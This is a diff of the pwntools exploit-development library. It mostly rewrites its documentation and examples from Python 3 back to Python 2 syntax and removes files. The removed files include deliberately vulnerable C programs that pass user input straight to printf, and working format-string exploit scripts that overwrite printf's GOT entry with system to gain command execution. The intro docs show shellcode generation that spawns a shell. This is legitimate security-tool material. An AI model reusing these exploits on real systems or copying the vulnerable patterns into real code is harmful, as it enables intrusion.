-    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
+    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
 
 Alternate OSes
 ^^^^^^^^^^^^^^^^

docs/source/intro.rst

@@ -27,14 +27,14 @@ This exposes a standard interface to talk to processes, sockets, serial ports,
 and all manner of things, along with some nifty helpers for common tasks.
 For example, remote connections via :mod:`pwnlib.tubes.remote`.
 
-    >>> conn = remote('ftp.ubuntu.com',21)
+    >>> conn = remote('ftp.debian.org',21)
     >>> conn.recvline() # doctest: +ELLIPSIS
-    b'220 ...'
-    >>> conn.send(b'USER anonymous\r\n')
-    >>> conn.recvuntil(b' ', drop=True)
-    b'331'
+    '220 ...'
+    >>> conn.send('USER anonymous\r\n')
+    >>> conn.recvuntil(' ', drop=True)
+    '331'
     >>> conn.recvline()
-    b'Please specify the password.\r\n'
+    'Please specify the password.\r\n'
     >>> conn.close()
 
 It's also easy to spin up a listener
@@ -42,20 +42,20 @@ It's also easy to spin up a listener
     >>> l = listen()
     >>> r = remote('localhost', l.lport)
     >>> c = l.wait_for_connection()
-    >>> r.send(b'hello')
+    >>> r.send('hello')
     >>> c.recv()
-    b'hello'
+    'hello'
 
 Interacting with processes is easy thanks to :mod:`pwnlib.tubes.process`.
 
 ::
 
     >>> sh = process('/bin/sh')
-    >>> sh.sendline(b'sleep 3; echo hello world;')
+    >>> sh.sendline('sleep 3; echo hello world;')
     >>> sh.recvline(timeout=1)
-    b''
+    ''
     >>> sh.recvline(timeout=5)
-    b'hello world\n'
+    'hello world\n'
     >>> sh.close()
 
 Not only can you interact with processes programmatically, but you can
@@ -72,16 +72,16 @@ a ``process`` tube.
 
 ::
 
-    >>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+    >>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
     >>> shell['whoami']
-    b'bandit0'
+    'bandit0'
     >>> shell.download_file('/etc/motd')
     >>> sh = shell.run('sh')
-    >>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP
+    >>> sh.sendline('sleep 3; echo hello world;') # doctest: +SKIP
     >>> sh.recvline(timeout=1)
-    b''
+    ''
     >>> sh.recvline(timeout=5)
-    b'hello world\n'
+    'hello world\n'
     >>> shell.close()
 
 Packing Integers
@@ -97,13 +97,13 @@ unpacking codes, and littering your code with helper routines.
     >>> import struct
     >>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
     True
-    >>> leet = unhex('37130000')
-    >>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
+    >>> leet = '37130000'.decode('hex')
+    >>> u32('abcd') == struct.unpack('I', 'abcd')[0]
     True
 
 The packing/unpacking operations are defined for many common bit-widths.
 
-    >>> u8(b'A') == 0x41
+    >>> u8('A') == 0x41
     True
 
 Setting the Target Architecture and OS
@@ -112,9 +112,9 @@ Setting the Target Architecture and OS
 The target architecture can generally be specified as an argument to the routine that requires it.
 
     >>> asm('nop')
-    b'\x90'
+    '\x90'
     >>> asm('nop', arch='arm')
-    b'\x00\xf0 \xe3'
+    '\x00\xf0 \xe3'
 
 However, it can also be set once in the global ``context``.  The operating system, word size, and endianness can also be set here.
 
@@ -126,10 +126,10 @@ However, it can also be set once in the global ``context``.  The operating syste
 Additionally, you can use a shorthand to set all of the values at once.
 
     >>> asm('nop')
-    b'\x90'
+    '\x90'
     >>> context(arch='arm', os='linux', endian='big', word_size=32)
     >>> asm('nop')
-    b'\xe3 \xf0\x00'
+    '\xe3 \xf0\x00'
 
 .. doctest::
    :hide:
@@ -158,12 +158,12 @@ Assembly and Disassembly
 Never again will you need to run some already-assembled pile of shellcode
 from the internet!  The :mod:`pwnlib.asm` module is full of awesome.
 
-    >>> enhex(asm('mov eax, 0'))
+    >>> asm('mov eax, 0').encode('hex')
     'b800000000'
 
 But if you do, it's easy to suss out!
 
-    >>> print(disasm(unhex('6a0258cd80ebf9')))
+    >>> print disasm('6a0258cd80ebf9'.decode('hex'))
        0:   6a 02                   push   0x2
        2:   58                      pop    eax
        3:   cd 80                   int    0x80
@@ -176,7 +176,7 @@ loaded with useful time-saving shellcodes.
 Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing
 file descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell!
 
-    >>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
+    >>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex') # doctest: +ELLIPSIS
     '6a3158cd80...'
 
 
@@ -188,10 +188,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
 
 Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
 
-    >>> print(cyclic(20).decode())
+    >>> print cyclic(20)
     aaaabaaacaaadaaaeaaa
-    >>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time
-    >>> print(cyclic_find(b'faab'))
+    >>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166))  at crash time
+    >>> print cyclic_find('faab')
     120
 
 ELF Manipulation
@@ -200,22 +200,22 @@ ELF Manipulation
 Stop hard-coding things!  Look them up at runtime with :mod:`pwnlib.elf`.
 
     >>> e = ELF('/bin/cat')
-    >>> print(hex(e.address)) #doctest: +SKIP
+    >>> print hex(e.address) #doctest: +SKIP
     0x400000
-    >>> print(hex(e.symbols['write'])) #doctest: +SKIP
+    >>> print hex(e.symbols['write']) #doctest: +SKIP
     0x401680
-    >>> print(hex(e.got['write'])) #doctest: +SKIP
+    >>> print hex(e.got['write']) #doctest: +SKIP
     0x60b070
-    >>> print(hex(e.plt['write'])) #doctest: +SKIP
+    >>> print hex(e.plt['write']) #doctest: +SKIP
     0x401680
 
 You can even patch and save the files.
 
     >>> e = ELF('/bin/cat')
-    >>> e.read(e.address, 4)
-    b'\x7fELF'
+    >>> e.read(e.address+1, 3)
+    'ELF'
     >>> e.asm(e.address, 'ret')
     >>> e.save('/tmp/quiet-cat')
-    >>> disasm(open('/tmp/quiet-cat','rb').read(1))
+    >>> disasm(file('/tmp/quiet-cat','rb').read(1))
     '   0:   c3                      ret'
 

docs/source/libcdb.rst

@@ -1,10 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-   from pwnlib.libcdb import *
-
-:mod:`pwnlib.libcdb` --- Libc Database
-===========================================
-
-.. automodule:: pwnlib.libcdb
-   :members:

docs/source/memleak.rst

@@ -1,9 +1,11 @@
 .. testsetup:: *
 
-    from pwn import *
+   from pwnlib.memleak import *
 
 :mod:`pwnlib.memleak` --- Helper class for leaking memory
 =========================================================
 
-.. automodule:: pwnlib.memleak
-    :members:
+.. module:: pwnlib.memleak
+
+.. autoclass:: MemLeak
+   :members:

docs/source/protocols.rst

@@ -1,15 +0,0 @@
-:mod:`pwnlib.protocols` --- Wire Protocols
-=============================================
-
-.. automodule:: pwnlib.protocols
-
-
-Supported Protocols
--------------------
-
-.. toctree::
-    :maxdepth: 3
-    :glob:
-
-    protocols/*
-

docs/source/protocols/adb.rst

@@ -1,11 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-   from pwnlib.protocols.adb import AdbClient
-   AdbClient().wait_for_device()
-
-:mod:`pwnlib.protocols.adb` --- ADB Protocol Implementation
-===========================================================
-
-.. automodule:: pwnlib.protocols.adb
-   :members:

docs/source/qemu.rst

@@ -1,10 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-
-
-:mod:`pwnlib.qemu` --- QEMU Utilities
-==========================================
-
-.. automodule:: pwnlib.qemu
-   :members:

docs/source/rop/ret2dlresolve.rst

@@ -1,10 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-   import tempfile
-
-:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
-========================================================
-
-.. automodule:: pwnlib.rop.ret2dlresolve
-   :members:

docs/source/shellcraft/aarch64.rst

@@ -1,19 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-   context.clear(arch='aarch64')
-
-:mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64
-===========================================================
-
-:mod:`pwnlib.shellcraft.aarch64`
---------------------------------
-
-.. automodule:: pwnlib.shellcraft.aarch64
-   :members:
-
-:mod:`pwnlib.shellcraft.aarch64.linux`
---------------------------------------
-
-.. automodule:: pwnlib.shellcraft.aarch64.linux
-   :members:

docs/source/term.rst

@@ -3,9 +3,3 @@
 
 .. automodule:: pwnlib.term
    :members:
-
-Term Modules
--------------------
-
-.. toctree::
-    term/readline

docs/source/term/readline.rst

@@ -1,10 +0,0 @@
-.. testsetup:: *
-
-   from pwnlib.term.readline import *
-   import io
-
-:mod:`pwnlib.term.readline` --- Terminal nice readline
-======================================================
-
-.. automodule:: pwnlib.term.readline
-   :members:

docs/source/tubes.rst

@@ -27,4 +27,4 @@ Types of Tubes
   .. autoclass:: pwnlib.tubes.tube.tube()
      :members:
      :exclude-members: recv_raw, send_raw, settimeout_raw,
-                       can_recv_raw, shutdown_raw, connected_raw,
+                       can_recv_raw

docs/source/tubes/buffer.rst

@@ -1,9 +0,0 @@
-.. testsetup:: *
-
-   from pwnlib.tubes.buffer import *
-
-:mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes
-==============================================================
-
-.. automodule:: pwnlib.tubes.buffer
-   :members:

docs/source/tubes/sockets.rst

@@ -1,7 +1,6 @@
 .. testsetup:: *
 
    from pwn import *
-   from pwnlib.tubes.server import server
 
 :mod:`pwnlib.tubes.sock` --- Sockets
 ===========================================================
@@ -24,9 +23,3 @@
    .. autoclass:: pwnlib.tubes.listen.listen
       :members:
       :show-inheritance:
-
-.. automodule:: pwnlib.tubes.server
-
-   .. autoclass:: pwnlib.tubes.server.server
-      :members:
-      :show-inheritance:

docs/source/ui.rst

@@ -1,8 +1,3 @@
-.. testsetup:: *
-
-   from pwn import *
-   import io
-
 :mod:`pwnlib.ui` --- Functions for user interaction
 ===================================================
 

docs/source/util/cyclic.rst

@@ -1,6 +1,5 @@
 .. testsetup:: *
 
-   from pwn import *
    from pwnlib.util.cyclic import *
 
 

docs/source/util/fiddling.rst

@@ -1,7 +1,6 @@
 .. testsetup:: *
 
-    from pwn import *
-    from pwnlib.util.fiddling import *
+   from pwnlib.util.fiddling import *
 
 
 :mod:`pwnlib.util.fiddling` --- Utilities bit fiddling

docs/source/util/getdents.rst

@@ -1,11 +0,0 @@
-.. testsetup:: *
-
-   from pwnlib.util.getdents import *
-   from pwnlib.util.fiddling import unhex
-
-
-:mod:`pwnlib.util.getdents` --- Linux binary directory listing
-==============================================================
-
-.. automodule:: pwnlib.util.getdents
-   :members:

docs/source/util/misc.rst

@@ -1,6 +1,5 @@
 .. testsetup:: *
 
-   from pprint import pprint
    from pwnlib.util.misc import *
    import os, subprocess
    os.chdir("..")

docs/source/util/proc.rst

@@ -1,7 +1,6 @@
 .. testsetup:: *
 
    from pwnlib.util.proc import *
-   from pwnlib.tubes.process import process
    import os, sys
 
 

docs/source/util/safeeval.rst

@@ -1,7 +1,6 @@
 .. testsetup:: *
 
    from pwnlib.util.safeeval import *
-   _get_opcodes = pwnlib.util.safeeval._get_opcodes
 
 
 :mod:`pwnlib.util.safeeval` --- Safe evaluation of python code

examples/README.md

@@ -26,10 +26,6 @@ Try running this example with::
 ```
 Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
 ```
-* `attach.py`
-```
-Example showing `pwnlib.gdb.attach()`
-```
 * `clean_and_log.py`
 ```
 Use case for `pwnlib.tubes.tube.clean_and_log`.
@@ -69,7 +65,8 @@ Example showing `pwnlib.ui.options()`
 ```
 * `port_forward.py`
 ```
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
+that `<>` is just a shorthand.
 ```
 * `readline_completers.py`
 ```
@@ -77,10 +74,6 @@ Example showing pwnlib's readline implementation and a few completers.  This
 part of pwnlib will probably see some major changes soon, but we wanted to show
 off some proof-of-concepts.
 ```
-* `remote.py`
-```
-Example showing how to use the remote class.
-```
 * `remote_gdb_debugging.py`
 ```
 Simple example showing how to use the remote
@@ -110,7 +103,7 @@ and::
 
   $ TERM=xterm-256color python text.py
 ```
-* `yesno.py`
+* `remote.py`
 ```
-Example showing `pwnlib.ui.yesno()`
+Example showing how to use the remote class.
 ```

examples/android.py

@@ -1,25 +1,22 @@
-from __future__ import print_function
-
-import gdb
-from pwn import adb, context
+from pwn import *
 
 # Tell pwntools that the target is an Android device
-context.os = "android"
-context.arch = "aarch64"  # or 'arm'
+context.os='android'
+context.arch='aarch64' # or 'arm'
 
 # Optionally, set the remote ADB server address
-context.adb_host = "172.16.110.1"
+context.adb_host='172.16.110.1'
 
 # Wait for a device to become available
-print(adb.wait_for_device())
+print adb.wait_for_device()
 
 # Who am I?
-print(adb.process("id").recvall().strip())
+print adb.process('id').recvall().strip()
 
 # Interactive sessions!
 io = adb.shell()
-io.sendline("echo Hello, world; exit")
-print(io.recvall().replace("\r\n", "\n").strip())
+io.sendline('echo Hello, world; exit')
+print io.recvall().replace('\r\n', '\n').strip()
 
 # Debugging!
-gdb.debug("sh").interactive()
+gdb.debug('sh').interactive()

examples/args.py

@@ -14,5 +14,5 @@ Try running this example with::
 
 from pwn import *
 
-print(args['RHOST'] or 'RHOST is not set')
-print(args['RPORT'] or 'RPORT is not set')
+print args['RHOST'] or 'RHOST is not set'
+print args['RPORT'] or 'RPORT is not set'

examples/asm.py

@@ -9,5 +9,5 @@ context(arch='i386', os='linux')
 shellcode = shellcraft.i386_to_amd64()
 shellcode_asm = asm(shellcode)
 
-print(enhex(shellcode_asm))
-print(disasm(shellcode_asm))
+print enhex(shellcode_asm)
+print disasm(shellcode_asm)

examples/attach.py

@@ -5,7 +5,7 @@ Example showing `pwnlib.gdb.attach()`
 from pwn import *
 
 bash = process('/bin/bash')
-gdb.attach(bash, gdbscript = '''
+gdb.attach(bash, execute = '''
 p "hello from pwnlib"
 c
 ''')

examples/clean_and_log.py

@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
 
 while True:
     line = r.recvline()
-    print(re.findall(r'^prefix (\S+)$', line)[0])
+    print re.findall('^prefix (\S+)$', line)[0]

examples/fmtstr/Makefile

@@ -1,53 +0,0 @@
-CFLAGS := -Wno-unused-result -Wno-format-security
-TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
-	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
-	         printf-loop.native printf-loop.native32
-
-.PHONY: run
-run: all
-	./exploit2.py
-	./exploit.py
-
-.PHONY: all
-all: $(TARGETS)
-
-.PHONY: clean
-clean:
-	rm -f $(TARGETS)
-
-# mips variants
-%.mips: %.c
-	mips-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.mipsel: %.c
-	mipsel-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.mips64: %.c
-	mips64-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.mips64el: %.c
-	mips64el-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
-
-# arm variants
-%.arm: %.c
-	arm-linux-gnueabi-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.aarch64: %.c
-	aarch64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-
-# ppc variants
-%.ppc: %.c
-	powerpc-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.ppc64: %.c
-	powerpc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-
-# sparc variants
-%.sparc64: %.c
-	sparc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-
-# native variants
-%.native: %.c
-	gcc $(CFLAGS) -o "$@" $^
-%.native32: %.c
-	gcc $(CFLAGS) -m32 -o "$@" $^
-
-# install deps on ubuntu xenial
-.PHONY: install-apt
-install-apt:
-	apt-get install -y make gcc-mips64el-linux-gnuabi64 gcc-sparc64-linux-gnu gcc-powerpc64-linux-gnu gcc-powerpc-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mipsel-linux-gnu gcc-mips64el-linux-gnuabi64 gcc-mips-linux-gnu gcc-i686-linux-gnu gcc

examples/fmtstr/exploit.py

@@ -1,39 +0,0 @@
-#!/usr/bin/env python
-from pwn import *
-
-@context.quiet
-def exec_fmt(payload):
-    p = context.binary.process()
-    p.sendline(payload)
-    return p.recvall()
-
-def exploit(binary):
-    context.binary = ELF(binary)
-    autofmt = FmtStr(exec_fmt)
-    offset = autofmt.offset
-    with context.binary.process() as p:
-        addr = unpack(p.recv(context.bytes))
-        payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
-        p.sendline(payload)
-        p.recvuntil(b"DONE")
-        print(hex(u32(p.recv(4))))
-
-binaries = [
-    "printf.mips",
-    "printf.mips64",
-    "printf.mipsel",
-    "printf.mips64el",
-    "printf.native",
-    "printf.native32",
-    "printf.ppc",
-    "printf.ppc64",
-    "printf.sparc64",
-    "printf.arm",
-    "printf.aarch64",
-]
-
-if len(sys.argv) > 1:
-    binaries = sys.argv[1:]
-
-for binary in binaries:
-    exploit(binary)

examples/fmtstr/exploit2.py

@@ -1,68 +0,0 @@
-#!/usr/bin/env python
-"""
-An example combining fmtstr and dynelf to automatically exploit a PIE binary.
-"""
-
-from pwn import *
-
-def exploit(e):
-    p = e.process()
-
-    def executer(fmt):
-        p.sendline(fmt)
-        p.stdin.flush()
-        r = p.recvuntil(b'again=\n')
-        return r
-    f = FmtStr(executer)
-
-    # find some code pointer on stack
-    addrbits = min(context.bits, 48) # address space is no larger than 48-bit
-    min_code_ptr = 0x10 << addrbits-8
-    max_code_ptr = 0x7e << addrbits-8
-    for off in range(64):
-        random_code_ptr = f.leak_stack(off)
-        packed = bytearray(pack(random_code_ptr))
-        chars = set(packed) - {0}
-        # simple heuristic
-        if (min_code_ptr < random_code_ptr < max_code_ptr
-            and max(chars) > 0x80 and min(chars) < 0x80
-            and not hex(random_code_ptr).startswith('0x7ff')):
-            break
-
-    log.info("Code ptr: %#x"%random_code_ptr)
-
-    online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
-
-    print("Stack: %#x" % (online_elf.stack(),))
-    print("Heap: %#x" % (online_elf.heap(),))
-
-    info("Finding base address of the executable")
-    for ref in e.sym:
-        if not ref:
-            continue
-        # if we have the address of a symbol on remote, we know the offset
-        ref_addr = online_elf.lookup(ref)
-        if ref_addr:
-            print("%s: %r" % (ref, ref_addr))
-            break
-
-    system = online_elf.lookup('system', 'libc')
-    print("system: %#x" % system)
-
-    # fix up the address
-    e.address += ref_addr - e.sym[ref]
-
-    # actual exploit: overwrite printf with system
-    f.write(e.sym.got.printf, system)
-    f.execute_writes()
-
-    p.sendline(b'echo ::$(( 16 * 16 ))')
-    p.recvuntil(b'::')
-    line = p.recvline()
-    assert line == b'256\n'
-    p.sendline(b'exit')
-    p.close()
-
-
-for context.binary in 'printf-loop.native32', 'printf-loop.native':
-    exploit(context.binary)

examples/fmtstr/printf-loop.c

@@ -1,14 +0,0 @@
-#include <stdio.h>
-#include <unistd.h>
-
-int main() {
-  while (1) {
-    char str[256];
-    int n = read(STDIN_FILENO, str, sizeof(str) - 1);
-    str[n] = '\0';
-    printf(str);
-    printf("\n=try again=\n");
-    fflush(stdout);
-  }
-  return 0;
-}

examples/fmtstr/printf.c

@@ -1,29 +0,0 @@
-#ifdef _FORTIFY_SOURCE
-#undef _FORTIFY_SOURCE
-#endif
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/mman.h>
-#define MEMORY_ADDRESS ((void*)0x11110000)
-#define MEMORY_SIZE 1024
-#define TARGET ((int *) 0x11110100)
-int main(int argc, char const *argv[])
-{
-       char buff[1024];
-       void *ptr = NULL;
-       int *my_var = TARGET;
-       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
-       if(ptr != MEMORY_ADDRESS)
-       {
-               perror("mmap");
-               return EXIT_FAILURE;
-       }
-       *my_var = 0x41414141;
-       write(1, &my_var, sizeof(int *));
-       scanf("%s", buff);
-       dprintf(2, buff);
-       write(1, "DONE", 4);
-       write(1, my_var, sizeof(int));
-       return 0;
-}

examples/gen-README.py

@@ -24,7 +24,7 @@ def append_example(_arg, top, names):
             continue
         path = os.path.join(top, name)[2:] # strip './'
         log.info('-> %s' % path)
-        data = read(path).strip().decode()
+        data = read(path).strip()
         if data[0:3] not in ('"""', "'''"):
             log.warning('  Has no docstring!')
             continue
@@ -37,7 +37,6 @@ def append_example(_arg, top, names):
         out += '* `%s`\n' % path
         out += '```%s```\n' % doc
 
-for path, dirs, files in os.walk('.', onerror=None):
-    append_example(dirs, path, sorted(files))
+os.path.walk('.', append_example, None)
 
 write('README.md', out)

examples/options.py

@@ -5,4 +5,4 @@ Example showing `pwnlib.ui.options()`
 from pwn import *
 
 opts = [string.letters[x] for x in range(10)]
-print('You choose "%s"' % opts[options('Pick one:', opts)])
+print 'You choose "%s"' % opts[options('Pick one:', opts)]

examples/port_forward.py

@@ -1,10 +1,11 @@
 """
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
+that `<>` is just a shorthand.
 """
 
 from pwn import *
 
 while True:
-    listen(1337).wait_for_connection().connect_both(remote('google.com', 80))
+    listen(1337).wait_for_connection() <> remote('google.com', 80)
 
 # now point your browser (or curl(1)) to http://localhost:1337

examples/readline_completers.py

@@ -19,13 +19,13 @@ c1 = LongestPrefixCompleter([
 c2 = PathCompleter(mask = '*.py')
 
 with c1:
-    print('type "exit" to exit')
+    print 'type "exit" to exit'
     while True:
-        s = str_input(prompt = '> ').strip()
+        s = term.readline.readline(prompt = '> ').strip()
         if s in ('exit', 'enough!'):
             break
-        print('You wrote', s)
+        print 'You wrote', s
 with c2:
-    print('choose a file')
-    s = str_input(prompt = text.bold_green('$ ')).strip()
-    print('You picked', s)
+    print 'choose a file'
+    s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
+    print 'You picked', s

examples/remote.py

@@ -6,6 +6,6 @@ from pwn import *
 
 sock = remote('127.0.0.1', 9001)
 
-print(sock.recvline())
+print sock.recvline()
 sock.send('foo')
 sock.interactive()

examples/remote_gdb_debugging.py

@@ -8,10 +8,10 @@ import getpass
 from pwn import *
 
 s = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = "~/.ssh/id_rsa")
-c = gdb.ssh_gdb(s, '/bin/sh', gdbscript = '''
+c = gdb.ssh_gdb(s, '/bin/sh', execute = '''
 p/x $pc
 c''')
 
 c.sendline('ls -la')
 c.sendline('exit')
-print(c.recvall())
+print c.recvall()

examples/sigreturn_corefile_aarch64.py

@@ -1,33 +0,0 @@
-from pwn import *
-context.arch='aarch64'
-frame = SigreturnFrame()
-
-registers = ['x%i' % i for i in range(0, 31)]
-registers += ['pc']
-
-
-for index, register in enumerate(registers):
-    setattr(frame, register, index)
-frame.sp = 64
-
-assembly = '\n'.join([
-    shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
-    shellcraft.syscall(constants.SYS_rt_sigreturn)
-])
-
-binary = ELF.from_assembly(assembly)
-
-io = binary.process()
-io.flat(frame)
-io.wait()
-assert io.poll() == -11
-
-corefile = io.corefile
-
-for register in registers:
-    value = getattr(corefile, register)
-    index = getattr(frame, register)
-    if index != value:
-        log.error("%s != %i (%i)" % (register, index, value))
-    else:
-        log.success("%s == %i" % (register, value))

examples/sigreturn_corefile_amd64.py

@@ -1,32 +0,0 @@
-from pwn import *
-context.arch='amd64'
-frame = SigreturnFrame()
-
-registers = ['rax', 'rbx', 'rcx', 'rdx',
-             'rdi', 'rsi', 'rbp', 'rsp',
-             'rip',
-             'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15']
-
-for index, register in enumerate(registers):
-    setattr(frame, register, index)
-
-assembly = '\n'.join([
-    shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024),
-    shellcraft.sigreturn()
-])
-
-binary = ELF.from_assembly(assembly)
-
-io = binary.process()
-io.flat(frame)
-io.wait()
-assert io.poll() == -11
-
-corefile = io.corefile
-
-for index, register in enumerate(registers):
-    value = getattr(corefile, register)
-    if index != value:
-        log.error("%s != %i (%i)" % (register, index, value))
-    else:
-        log.success("%s == %i" % (register, value))

examples/sigreturn_corefile_arm.py

@@ -1,34 +0,0 @@
-from pwn import *
-
-context.arch='arm'
-frame = SigreturnFrame()
-
-registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
-             'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
-
-
-for index, register in enumerate(registers):
-    setattr(frame, register, index)
-frame.sp = 64
-
-assembly = '\n'.join([
-    shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
-    shellcraft.sigreturn()
-])
-
-binary = ELF.from_assembly(assembly)
-
-io = binary.process()
-io.flat(frame)
-io.wait()
-assert io.poll() == -11
-
-corefile = io.corefile
-
-for register in registers:
-    value = getattr(corefile, register)
-    index = getattr(frame, register)
-    if index != value:
-        log.error("%s != %i (%i)" % (register, index, value))
-    else:
-        log.success("%s == %i" % (register, value))

examples/sigreturn_corefile_i386.py

@@ -1,31 +0,0 @@
-from pwn import *
-context.kernel='amd64'
-frame = SigreturnFrame()
-
-registers = ['eax', 'ebx', 'ecx', 'edx',
-             'edi', 'esi', 'ebp', 'esp',
-             'eip']
-
-for index, register in enumerate(registers):
-    setattr(frame, register, index)
-
-assembly = '\n'.join([
-    shellcraft.read(constants.STDIN_FILENO, 'esp', 1024),
-    shellcraft.sigreturn()
-])
-
-binary = ELF.from_assembly(assembly)
-
-io = binary.process()
-io.flat(frame)
-io.wait()
-assert io.poll() == -11
-
-corefile = io.corefile
-
-for index, register in enumerate(registers):
-    value = getattr(corefile, register)
-    if index != value:
-        log.error("%s != %i (%i)" % (register, index, value))
-    else:
-        log.success("%s == %i" % (register, value))

examples/spinners.py

@@ -10,9 +10,9 @@ n = 1
 h = log.waitfor('spinners running', status = str(n))
 
 hs = []
-print('type "q" to quit')
+print 'type "q" to quit'
 while True:
-    s = str_input('> ').strip()
+    s = raw_input('> ')
     if s == 'q':
         break
     hs.append(log.waitfor(s, status = 'running'))

examples/splash.py

@@ -9,5 +9,5 @@ splash()
 h = log.waitfor("You wrote", status = "--")
 
 while True:
-    l = str_input('> ').strip()
+    l = raw_input('> ')
     h.status(l.upper())

examples/ssh.py

@@ -4,7 +4,7 @@ Example showing how to use the ssh class.
 
 from pwn import *
 
-shell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password='bandit0', port=2220)
+shell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password='bandit0')
 
 # Show basic command syntax
 log.info("username: %s" % shell.whoami())
@@ -14,7 +14,7 @@ log.info("pwd: %s" % shell.pwd())
 tube = shell.run('cat')
 tube.send("Hello, cat")
 tube.shutdown("out")
-print(tube.recvall())
+print tube.recvall()
 
 # Show automatic working directories
 shell.set_working_directory()
@@ -29,12 +29,12 @@ int main() {
 
 shell.gcc(['example.c','-o','example'])
 
-print(shell['./example'])
+print shell['./example']
 
 # Show the different styles of calling
-print(shell.echo("single string"))
-print(shell.echo(["list","of","strings"]))
-print(shell["echo single statement"])
+print shell.echo("single string")
+print shell.echo(["list","of","strings"])
+print shell["echo single statement"]
 
 # Show off the interactive shell
 shell.interactive()

examples/text.py

@@ -12,8 +12,8 @@ and::
 from pwn import *
 
 s = 'hello from pwntools'
-print(text.black_on_green(s))
-print(text.black_on_bright_green(s))
-print(text.green_on_black(s))
-print(text.bright_green_on_black(s))
-print(text.bold_green_on_black(s))
+print text.black_on_green(s)
+print text.black_on_bright_green(s)
+print text.green_on_black(s)
+print text.bright_green_on_black(s)
+print text.bold_green_on_black(s)

examples/yesno.py

@@ -5,6 +5,6 @@ Example showing `pwnlib.ui.yesno()`
 from pwn import *
 
 if ui.yesno('Do you like Pwntools?'):
-    print(':D')
+    print ':D'
 else:
-    print(':(')
+    print ':('

extra/docker/Dockerfile

@@ -0,0 +1,58 @@
+############################################################
+# Dockerfile to build Pwntools container
+# Based on Ubuntu
+############################################################
+
+FROM ubuntu:trusty
+MAINTAINER Maintainer Gallopsled et al.
+
+RUN apt-get update && apt-get install -y software-properties-common
+RUN apt-add-repository --yes ppa:pwntools/binutils
+RUN apt-get update
+RUN apt-get install -y \
+	binutils \
+	binutils-aarch64-linux-gnu \
+	binutils-arm-linux-gnueabihf \
+	curl \
+	gdb \
+	gdbserver \
+	gdb-multiarch \
+	git \
+	libc6-i386 \
+	libc6-arm64-cross \
+	libc6-armhf-cross \
+	libc6-dev-i386 \
+	libffi-dev \
+	libglib2.0-dev \
+	libncurses5-dev \
+	libncursesw5-dev \
+	ltrace \
+	python-dev \
+	python-pip \
+	python3-pip \
+	python2.7 \
+	qemu \
+	qemu-user-static \
+	strace \
+	tmux \
+	wget
+RUN pip install --upgrade ipython
+RUN useradd -m zerocool
+RUN usermod -U zerocool
+
+RUN mkdir -p /etc/qemu-binfmt
+RUN ln -s /usr/aarch64-linux-gnu /etc/qemu-binfmt/aarch64
+RUN ln -s /usr/arm-linux-gnueabihf /etc/qemu-binfmt/arm
+
+RUN pip install --upgrade pip pycparser psutil python-ptrace
+RUN pip3 install --upgrade pip pycparser psutil python-ptrace
+
+RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools.git
+
